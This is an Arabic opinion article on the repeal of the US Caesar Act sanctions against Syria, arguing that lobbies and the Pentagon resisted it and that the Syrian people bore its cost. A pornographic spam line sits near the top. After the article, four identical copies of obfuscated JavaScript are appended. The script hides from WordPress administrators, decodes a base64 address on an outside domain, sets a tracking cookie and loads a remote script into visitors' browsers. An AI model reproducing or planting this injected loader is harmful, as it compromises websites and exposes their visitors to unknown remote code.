
في حيثيات الصراع حول ملف «قيصر» ودروس التجربة القاسية
Free Onlyfans Account – Videos amp Photos sarah chalke nude
بعد أن أصبح “قيصر” في طريقه إلى الأرشيف، مروراً بالمكتب البيضاوي، أعتقد أنّه من مصلحتنا أن نتعلّم من دروس تجاربنا القاسية، ونحن بأمسّ الحاجة لامتلاك ثقافة الوعي السياسي الموضوعي لمواجهة مخاطر تحدّياتٍ كبيرة!
أولاً: الصراع الذي ما يزال محتدماً في مجلسي النواب والشيوخ حول ملف قانون قيصر، رغم توقيع الرئيس ترامب، يرتبط في الجوهر بعاملين رئيسيين:
1- سعي شبكة اللوبيات السياسية المرتبطة مصالحها بأجندات مشروع التقسيم – قسد وإسرائيل – لمنع رفع العقوبات، في إطار جهودها المتعدّدة المستويات لتفشيل مسارات العملية السياسية الانتقالية.
2- الصراع غير المُعلن بين الإدارة الأميركية والبنتاغون، الممثّل لقوى “المجمّع العسكري الصناعي” الأميركي، الذي شكّل الدولة العميقة طيلة عقود، وجنت شركاته الإمبريالية أرباحاً طائلة على حساب استقرار ونهضة شعوب المنطقة، وعلى حساب دافع الضرائب الأميركي.
وهي قضية جوهرية لفهم طبيعة استراتيجية إدارة ترامب الجديدة، وتأثيراتها المتوقعة على سوريا والإقليم:
من جهة أولى، تعارض أهداف وغايات سياسات إدارة ترامب الاستراتيجية، الساعية لتقويض أسباب الصراعات وعدم الاستقرار في الشرق الأوسط، مع مصالح قادة المجمّع العسكري والصناعي، التي توفّر لشركاتها الحروب أفضل بيئة لتعزيز مصالحها!
من جهة ثانية، توافقها مع مصالح الشعوب والدول التي كانت ضحيّة سياسات البانتاغون وواجهاته السياسية في الإدارات الأميركية المتعاقبة طيلة عقود، خاصة الشعب السوري.
على أيّة حال، يبدو جليّاً أنّ حسم الصراع حول ملف “قيصر” لصالح أجندات استراتيجية الرئيس ترامب، وبما يتوافق مع مصالح السوريين الوطنية المشتركة، يمثّل في الواقع أحد أبرز عوامل الفرصة التاريخية التي يحصل عليها السوريون من أجل إعادة توحيد بلادهم، والعمل المشترك لتوفير شروط نهضتها الشاملة…
ثانياً: إذا كان إلغاء عقوبات قانون قيصر يشكّل خطوة رئيسية لنجاح أهداف وآليات استراتيجية الدولة السورية الاقتصادية والسياسية، الطامحة والساعية لإعادة توحيد الجغرافيا والسلطة، وهيكلة الاقتصاد الوطني، ووضع أسس مشروعٍ اقتصاديٍ مزدهر، بما يوفّر شروط استقرار سوريا ونهضتها الاقتصادية والمالية، وإنّه في الوقت نفسه يتوافق مع سياسات استراتيجية إدارة ترامب الجديدة تجاه سوريا والإقليم، فإنّ هذا التقاطع في مصالح وسياسات إدارة ترامب مع مصالح السلطة السورية الجديدة عند هدف إلغاء العقوبات يطرح تساؤلاً حول حقيقة الأدوار التي لعبتها مجموعات “اللوبيات” السورية الأميركية!
لقد كان قانوناً ظالماً بحق السوريين، كلّفهم أثماناً إضافية لتجرّؤهم على الحلم!
قبل هذه اللحظة التاريخية الفارقة بسنوات، عندما كان البعض يعمل لفرض قانون قيصر، كنتُ أرى أنّ جهودهم تضرّ بالشعب والاقتصاد السوري، لأنّ فرض عقوباتٍ اقتصادية لم يكن ليحدّ من وسائل وأدوات نهب سلطة القتل والإجرام الأسدية، ناهيك عن إسقاطها، وأنّ الغاية السياسية من تطبيق العقوبات لم تكن لردع سلطة الأسد عن ممارساته الإجرامية ضد السوريين بقدر ما كانت ترتبط بحاجة السلطات الأميركية لاستخدام بعض أوراق الضغط من أجل فرض التجاوب مع سياسات الولايات المتحدة، التي كانت حينئذٍ تتناقض مع مصالح السوريين الوطنية المشتركة، وتسعى بشكل رئيسي بعد 2019 لتثبيت سلطات تقسيم سوريا، عبر توفير شروط استقرارٍ عسكريٍ وتكاملٍ اقتصاديٍ بين سلطات الأمر الواقع التي كانت تتقاسم الجسد السوري، خاصة بين سلطتي الأسد وقسد…
في ظل ما حصل من تغيّرٍ في طبيعة العلاقة بين النظام السوري الجديد وإدارة ترامب، صبّت جهود إلغاء “قانون قيصر” في خدمة مصالح السوريين الوطنية، بفضل تقاطعها في هذه اللحظة السياسية النوعية مع أجندات وسياسات استراتيجية ترامب الجديدة!
البطل الحقيقي في مأساة ملف “قيصر” هو الشعب السوري، الذي قدّم عشرات الألوف من خيرة أبنائه كبش فداء لثورة الحرية والكرامة، حوّلتهم ماكينة القتل الجماعي الأسدية إلى “بقايا صور” محطّمة، تشهد على وحشية القاتل، وانحطاط مظلّة حمايته الدولية والإقليمية.
البطل الحقيقي هو أيضاً “فريد المذهان”، الموظّف الحكومي الذي غامر بحياته ومصير أسرته لإيصال صور أنين المعذّبين وآلامهم إلى “الخارج”، معتقداً أنّه يساهم في وقف مسلسل القتل والإجرام، وفي تحقيق العدالة لبعض ضحايا مسالخ القتل الجماعي الأسدية، ولم يكن يدرك أنّ دماء وآلام الضحايا ستتحوّل في منظومة المصالح والسياسات الأميركية ونخب المعارضات المرتبطة بها إلى ماكينة عقوباتٍ ظالمة بحق الشعب السوري، تعاقب أهل وذوي الضحايا عوضاً عن المجرم، وإلى ورقة ضغطٍ سياسية لحماية وديمومة شبكة مصالح وسياسات السيطرة الأميركية، التي كانت تشكّل سلطة الأسد أبرز دعائمها!
بكلّ الأحوال، إلغاء “قيصر” لن يكون عصاً سحرية، بل هو مجرّد مفتاحٍ لبابٍ كان مغلقاً، وأنّ النجاح في عبوره نحو التعافي يعتمد كلياً على وجود رؤيةٍ سياسيةٍ إصلاحيةٍ حقيقية قادرة على توجيه أي انفتاحٍ قادم نحو تنميةٍ مستدامة، والقيام بخطواتٍ وإجراءاتٍ ملموسة لتحسين ظروف الحياة والانتقال السياسي بآفاقه الوطنية.
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();